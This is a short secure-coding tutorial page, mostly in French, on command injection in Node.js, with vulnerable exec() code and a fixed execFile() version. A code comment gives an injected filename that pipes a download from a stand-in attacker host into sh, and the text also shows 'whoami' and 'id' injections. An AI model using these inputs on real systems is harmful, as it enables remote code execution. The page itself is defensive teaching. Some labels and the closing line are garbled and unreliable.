flawopen.com/command-injection/Javascript
Learn how to fix Command Injection (CWE-78) in JavaScript & Node.js. Side-by-side vulnerable vs secure code examples for child_process.execFile(), spawn(), and exec hazards.
Imaginez demander à un assistant de bureau d'imprimer un document nommé 'rapport.pdf'. L'injection de commande se produit lorsque quelqu'un fournit le nom 'rapport.pdf; whoami', et l'assistant transmet aveuglément le billet au terminal, imprimant le rapport et lisant le badge d'administrateur.
Web Application SecurityCWE-918.CWE-918Defense-in-DepthL'application reçoit des noms d'hôte de diagnostic ou des noms de fichiers directement à partir d'une requête HTTP.
Le backend assemble une commande shell par simple concaténation de chaînes au lieu d'utiliser un tableau d'arguments isolé.
L'attaquant injecte des métacaractères shell comme ';', '&&', '|' ou des accents graves (ex. '127.0.0.1; id') pour échapper au contexte initial.
Le shell du système d'exploitation exécute la commande injectée avec tous les privilèges du processus du serveur web.
// child_process.exec spawns a shell and parses metacharacters
const { exec } = require('child_process');
function convertImage(filename) {
// Input: "avatar.png; curl http://evil.com/shell | sh"
exec(`convert ${filename} -resize 100x100 out.png`, (err, stdout) => {
console.log(stdout);
});
}
// child_process.execFile executes the binary directly without a shell
const { execFile } = require('child_process');
function convertImage(filename) {
// filename is passed as a literal argument, never parsed as a shell command
execFile('convert', [filename, '-resize', '100x100', 'out.png'], (err, stdout) => {
console.log(stdout);
});
}
exec() calls with execFile() or spawn().spawn().